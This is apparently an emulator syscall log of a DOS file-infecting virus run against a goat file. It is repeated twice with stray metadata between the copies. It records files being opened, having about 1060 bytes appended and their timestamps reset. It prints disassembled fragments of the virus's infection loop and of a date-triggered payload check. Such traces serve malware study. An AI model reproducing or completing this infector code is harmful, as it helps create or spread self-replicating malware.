2018-12-25T12:04:09.804643109Z 61 PC: 12cf8 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:04:09.813463258Z 63 PC: 12d08 | Read file or device (Read 26 bytes on handle 5)
2018-12-25T12:04:09.820951135Z 66 PC: 12e81 | Move file pointer
2018-12-25T12:04:09.822921425Z 44 PC: 12e0a | Get time 0x12e0a: cmp dx, 0
0x12e0d: je 0x12e06
0x12e0f: mov word ptr [bp + 0x1e], dx
0x12e13: call 0x12e50
0x12e16: mov ah, 0x40
0x12e18: mov cx, 0x424
0x12e1b: lea dx, word ptr [bp]
0x12e1f: int 0x21
0x12e21: call 0x12e50
0x12e24: call 0x12e73
0x12e27: mov ah, 0x40
0x12e29: mov cx, 4
0x12e2c: lea dx, word ptr [bp + 0x3c2]
0x12e30: int 0x21
0x12e32: call 0x12e61
0x12e35: mov ah, 0x3e
0x12e37: int 0x21
0x12e39: mov ah, 0x4f
0x12e3b: int 0x21
0x12e3d: jae 0x12cef
2018-12-25T12:04:09.826587339Z 64 PC: 12e21 | Write file or device (Write 1060 bytes on handle 5)
2018-12-25T12:04:09.843378956Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.844961921Z 64 PC: 12e32 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:04:09.852565678Z 87 PC: 12e72 | Get or set file date and time
2018-12-25T12:04:09.854110493Z 62 PC: 12e39 | Close file
2018-12-25T12:04:09.86263845Z 79 PC: 12e3d | Find next file
2018-12-25T12:04:09.866377882Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.873865168Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.881689459Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.884943474Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.888356318Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.899133244Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.901560082Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.908833897Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.910724892Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.920482113Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.924055428Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.931655607Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.939146119Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.941954924Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.944691056Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.95561165Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.957656071Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.966225035Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.968387592Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.979220134Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.981714136Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.989085128Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.996574149Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.998079158Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:10.000534463Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:10.011593719Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.013183276Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:10.020926772Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:10.022941627Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:10.031634079Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:10.034442844Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:10.041808721Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:10.047375783Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.048591079Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:10.050250028Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:10.056133524Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.057645643Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:10.062362505Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:10.064311717Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:10.069683228Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:10.07145689Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:10.076547333Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:10.081219844Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.082236638Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:10.084446945Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:10.09477838Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.096153358Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:10.103824835Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:10.105698171Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:10.112358476Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:10.115212413Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:10.119595246Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:10.123838432Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.126001895Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:10.127737245Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:10.134160348Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.136006849Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:10.143320241Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:10.145690353Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:10.154431917Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:10.157513309Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:10.164806424Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:10.167658593Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:10.170259457Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:10.172637629Z 78 PC: 12c92 | Find first file
2018-12-25T12:04:10.178776625Z 37 PC: 12c9d | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:10.180297477Z 26 PC: 12ca7 | Set disk transfer address
2018-12-25T12:04:10.181401785Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T12:04:10.187401243Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":8282,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:04:09.814641591Z 37 PC: 12bdc | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:09.81624353Z 26 PC: 12be6 | Set disk transfer address
2018-12-25T12:04:09.817360873Z 42 PC: 12c0a | Get date 0x12c0a: cmp dh, 9
0x12c0d: jne 0x12c77
0x12c0f: cmp dl, 0xd
0x12c12: jne 0x12c77
0x12c14: mov ax, 3
0x12c17: int 0x10
0x12c19: lea ax, word ptr [bp + 0x9a]
0x12c1d: push ax
0x12c1e: mov ah, 9
0x12c20: lea dx, word ptr [bp + 0x3d2]
0x12c24: int 0x21
0x12c26: ret
0x12c27: mov al, 0x82
0x12c29: out 0x21, al
0x12c2b: mov dx, 0x3d4
0x12c2e: mov al, 0xa
0x12c30: out dx, al
0x12c31: inc dx
0x12c32: in al, dx
0x12c33: or al, 0x10
2018-12-25T12:04:09.819424841Z 78 PC: 12c81 | Find first file
2018-12-25T12:04:09.82613794Z 61 PC: 12cf8 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:04:09.833937653Z 63 PC: 12d08 | Read file or device (Read 26 bytes on handle 5)
2018-12-25T12:04:09.840873914Z 66 PC: 12e81 | Move file pointer
2018-12-25T12:04:09.842651734Z 44 PC: 12e0a | Get time 0x12e0a: cmp dx, 0
0x12e0d: je 0x12e06
0x12e0f: mov word ptr [bp + 0x1e], dx
0x12e13: call 0x12e50
0x12e16: mov ah, 0x40
0x12e18: mov cx, 0x424
0x12e1b: lea dx, word ptr [bp]
0x12e1f: int 0x21
0x12e21: call 0x12e50
0x12e24: call 0x12e73
0x12e27: mov ah, 0x40
0x12e29: mov cx, 4
0x12e2c: lea dx, word ptr [bp + 0x3c2]
0x12e30: int 0x21
0x12e32: call 0x12e61
0x12e35: mov ah, 0x3e
0x12e37: int 0x21
0x12e39: mov ah, 0x4f
0x12e3b: int 0x21
0x12e3d: jae 0x12cef
2018-12-25T12:04:09.845220717Z 64 PC: 12e21 | Write file or device (Write 1060 bytes on handle 5)
2018-12-25T12:04:09.860096413Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.861353647Z 64 PC: 12e32 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:04:09.86872307Z 87 PC: 12e72 | Get or set file date and time
2018-12-25T12:04:09.870311127Z 62 PC: 12e39 | Close file
2018-12-25T12:04:09.878592614Z 79 PC: 12e3d | Find next file
2018-12-25T12:04:09.881967232Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.890295873Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.897740839Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.899593472Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.90206636Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.912658962Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.914361867Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.920293885Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.922087624Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.933097669Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.936396505Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.944081175Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.952610334Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.954361474Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.95720146Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.968938598Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.972693002Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.980731383Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.982583575Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.992556649Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.995483827Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:10.002527043Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:10.010154076Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.012019489Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:10.014535922Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:10.024251004Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.025447473Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:10.030594969Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:10.032683833Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:10.038167187Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:10.041193519Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:10.049621178Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:10.057594758Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.05919894Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:10.061885465Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:10.072672329Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.074068661Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:10.081522987Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:10.083994391Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:10.092608837Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:10.096251444Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:10.103786974Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:10.11093119Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.112443821Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:10.115310177Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:10.124989828Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.126441855Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:10.134034305Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:10.136267183Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:10.144974717Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:10.148365284Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:10.156043915Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:10.163577167Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.165061148Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:10.167841786Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:10.17784744Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:10.179189054Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:10.187042417Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:10.189015777Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:10.197824909Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:10.201259949Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:10.208488245Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:10.211360831Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:10.213612606Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:10.216383981Z 78 PC: 12c92 | Find first file
2018-12-25T12:04:10.223633357Z 37 PC: 12c9d | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:10.225640006Z 26 PC: 12ca7 | Set disk transfer address
2018-12-25T12:04:10.227215168Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T12:04:10.233618931Z 76 PC: 12a86 | Terminate with return code (Return code = '36')